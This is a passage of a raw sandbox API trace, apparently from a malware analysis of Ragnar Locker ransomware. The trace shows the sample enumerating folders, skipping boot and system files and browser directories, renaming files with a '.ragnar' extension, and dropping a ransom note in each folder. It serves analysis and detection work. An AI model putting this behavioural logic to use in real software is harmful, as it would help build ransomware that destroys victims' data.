lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.825] CloseHandle (hObject=0xffffffff) returned 0 [0078.826] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" [0078.826] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC" [0078.826] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.826] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0078.826] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0078.826] lstrcpyW (in: lpString1=0x1eab52, lpString2="NavigationUp_ButtonGraphic.png" | out: lpString1="NavigationUp_ButtonGraphic.png") returned="NavigationUp_ButtonGraphic.png" [0078.826] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png") returned=".png" [0078.826] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.826] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="autorun.inf") returned 1 [0078.826] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0078.826] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootfont.bin") returned 1 [0078.826] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootsect.bak") returned 1 [0078.826] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0078.826] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgr.efi") returned 1 [0078.826] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgfw.efi") returned 1 [0078.826] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0078.826] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="iconcache.db") returned 1 [0078.826] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntldr") returned -1 [0078.826] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0078.826] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.dat.log") returned -1 [0078.826] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.ini") returned -1 [0078.826] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="thumbs.db") returned -1 [0078.826] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.826] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.826] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.826] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.826] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.826] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.826] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png")) returned 0x20 [0078.827] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.827] CloseHandle (hObject=0xffffffff) returned 0 [0078.827] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" [0078.827] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC" [0078.827] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.828] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f199665, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f199665, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0078.828] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0078.828] lstrcpyW (in: lpString1=0x1eab52, lpString2="NavigationUp_SelectionSubpicture.png" | out: lpString1="NavigationUp_SelectionSubpicture.png") returned="NavigationUp_SelectionSubpicture.png" [0078.828] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned=".png" [0078.828] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.828] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="autorun.inf") returned 1 [0078.828] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0078.828] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootfont.bin") returned 1 [0078.828] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootsect.bak") returned 1 [0078.828] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0078.828] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgr.efi") returned 1 [0078.828] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgfw.efi") returned 1 [0078.828] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0078.828] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="iconcache.db") returned 1 [0078.828] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0078.828] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0078.828] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.dat.log") returned -1 [0078.828] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.ini") returned -1 [0078.828] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="thumbs.db") returned -1 [0078.828] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.828] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.828] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.828] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.828] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.828] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.828] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png")) returned 0x20 [0078.829] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.829] CloseHandle (hObject=0xffffffff) returned 0 [0078.829] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" [0078.829] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC" [0078.829] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.829] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f231bd9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f231bd9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 1 [0078.829] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0078.829] lstrcpyW (in: lpString1=0x1eab52, lpString2="pushplaysubpicture.png" | out: lpString1="pushplaysubpicture.png") returned="pushplaysubpicture.png" [0078.829] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png") returned=".png" [0078.829] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.830] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="autorun.inf") returned 1 [0078.830] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="boot.ini") returned 1 [0078.830] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="bootfont.bin") returned 1 [0078.830] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="bootsect.bak") returned 1 [0078.830] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="bootmgr") returned 1 [0078.830] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="bootmgr.efi") returned 1 [0078.830] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="bootmgfw.efi") returned 1 [0078.830] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="desktop.ini") returned 1 [0078.830] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="iconcache.db") returned 1 [0078.830] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="ntldr") returned 1 [0078.830] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="ntuser.dat") returned 1 [0078.830] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="ntuser.dat.log") returned 1 [0078.830] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="ntuser.ini") returned 1 [0078.830] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="thumbs.db") returned -1 [0078.830] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.830] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.830] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.830] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.830] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.830] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.830] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.830] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png")) returned 0x20 [0078.830] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.830] CloseHandle (hObject=0xffffffff) returned 0 [0078.830] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" [0078.830] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png.ragnar_FD7BD9FC" [0078.831] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.831] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8137c0c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8137c0c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.831] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0078.831] lstrcpyW (in: lpString1=0x1eab52, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.831] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.831] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.831] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8137c0c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8137c0c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.831] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0078.831] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0078.831] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2=".") returned 1 [0078.831] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2="..") returned 1 [0078.831] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea2923b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea2923b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="heart_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0078.831] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2=".") returned 1 [0078.831] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2="..") returned 1 [0078.831] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1278, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0078.831] lstrcmpiW (lpString1="Heart_SelectionSubpicture.png", lpString2=".") returned 1 [0078.831] lstrcmpiW (lpString1="Heart_SelectionSubpicture.png", lpString2="..") returned 1 [0078.831] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eeebddb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eeebddb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x166e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_VideoInset.png", cAlternateFileName="")) returned 1 [0078.831] lstrcmpiW (lpString1="Heart_VideoInset.png", lpString2=".") returned 1 [0078.831] lstrcmpiW (lpString1="Heart_VideoInset.png", lpString2="..") returned 1 [0078.831] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HueCycle", cAlternateFileName="")) returned 1 [0078.831] lstrcmpiW (lpString1="HueCycle", lpString2=".") returned 1 [0078.831] lstrcmpiW (lpString1="HueCycle", lpString2="..") returned 1 [0078.831] lstrcmpiW (lpString1="HueCycle", lpString2="Windows") returned -1 [0078.831] lstrcmpiW (lpString1="HueCycle", lpString2="Windows.old") returned -1 [0078.831] lstrcmpiW (lpString1="HueCycle", lpString2="Tor browser") returned -1 [0078.831] lstrcmpiW (lpString1="HueCycle", lpString2="Internet Explorer") returned -1 [0078.831] lstrcmpiW (lpString1="HueCycle", lpString2="Google") returned 1 [0078.831] lstrcmpiW (lpString1="HueCycle", lpString2="Opera") returned -1 [0078.831] lstrcmpiW (lpString1="HueCycle", lpString2="Opera Software") returned -1 [0078.831] lstrcmpiW (lpString1="HueCycle", lpString2="Mozilla") returned -1 [0078.831] lstrcmpiW (lpString1="HueCycle", lpString2="Mozilla Firefox") returned -1 [0078.831] lstrcmpiW (lpString1="HueCycle", lpString2="$Recycle.Bin") returned 1 [0078.832] lstrcmpiW (lpString1="HueCycle", lpString2="ProgramData") returned -1 [0078.832] lstrcmpiW (lpString1="HueCycle", lpString2="All Users") returned 1 [0078.832] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0078.832] lstrcpyW (in: lpString1=0x1eb620, lpString2="HueCycle" | out: lpString1="HueCycle") returned="HueCycle" [0078.832] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\" [0078.832] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\" [0078.832] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\RGNR_FD7BD9FC.txt" [0078.832] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.928] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*" [0078.929] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.929] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.929] lstrcpyW (in: 